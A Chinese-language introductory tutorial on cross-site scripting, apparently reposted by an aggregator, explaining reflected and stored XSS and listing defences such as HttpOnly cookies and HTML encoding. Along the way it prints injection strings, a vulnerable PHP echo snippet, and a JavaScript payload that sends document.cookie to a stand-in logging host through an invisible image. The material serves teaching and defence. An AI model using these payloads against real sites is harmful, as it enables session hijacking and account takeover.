表哥有话说 第八期web安全之xss攻击初探

Posted SKSEC

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了表哥有话说 第八期web安全之xss攻击初探相关的知识,希望对你有一定的参考价值。

本周的干货分享又来啦~学习到现在,关于渗透你究竟了解多少呢?快来跟着周杨表哥的脚步接着往下学习吧!

0x00 简介

XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如javascript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。

0x01 xss分类

反射型xss

存储型xss

它不需要用户单击特定URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。 

【表哥有话说 第八期】web安全之xss攻击初探

0x02 xss的产生

假如有下面一个textbox <input type="text" name="address1" value="value1from"> value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><!- 那么就会变成<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行 或者用户输入的是 "onfocus="alert(document.cookie) 那么就会变成 <input type="text" name="address1" value="" onfocus="alert(document.cookie)"> 事件被触发的时候嵌入的JavaScript代码将会被执行 攻击的威力,取决于用户输入了什么样的脚本 当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如:http://www.test.com/test.php?id=<script>alert(document.cookie)</script><!-

测试

假设一个页面把用户输入的参数输出到页面上:<?php $input=$_GET["param"]; echo "<div>".$input."</div>"; ?> 

【表哥有话说 第八期】web安全之xss攻击初探

0x03 XSS攻击进阶

初探XSS Payload

XSS Payload就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何Javascript脚本能做到的事情,XSS Payload都能做到。 一个最常见的XSS Payload就是读取浏览器的Cookie对象,从而发起”Cookie劫持”攻击。 Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不用通过密码,而直接登录进用户的账户。 如下所示,攻击者先加载一个远程脚本:http://www.a.com/test.htm?abc=“><script scr=http://www.test.com/test.js ></script> 真正的XSS Payload现在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。 在evil.js中,可以通过如下代码窃取Cookie:

var img=document.createElement("img"); img.src="http://www.test.com/log?"+escape(document.cookie); document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。 事实上,http://www.test.com/log 并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录 。这样就完成了一个最简单的窃取Cookie的XSS Payload。

0x04 xss漏洞防御

原则:不相信客户输入的数据 

注意:攻击代码不一定在<script></script>中

1.将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.

2.只允许用户输入我们期望的数据。例如:年龄的textbox中,只允许用户输入数字。而数字之外的字符都过滤掉。

3.对数据进行html Encode 处理

4.过滤或移除特殊的Html标签, 例如: <script>, <iframe> , &lt; for <, &gt; for >, &quot for

5.过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。




以上是关于表哥有话说 第八期web安全之xss攻击初探的主要内容,如果未能解决你的问题,请参考以下文章

无相劫指:Web安全之其他漏洞专题二-第八天

Web 安全漏洞之 XSS 攻击

XSS初探

转载 | Web 安全漏洞之 XSS 攻击

web安全之XSS攻击原理及防范

web安全之XSS攻击原理及防范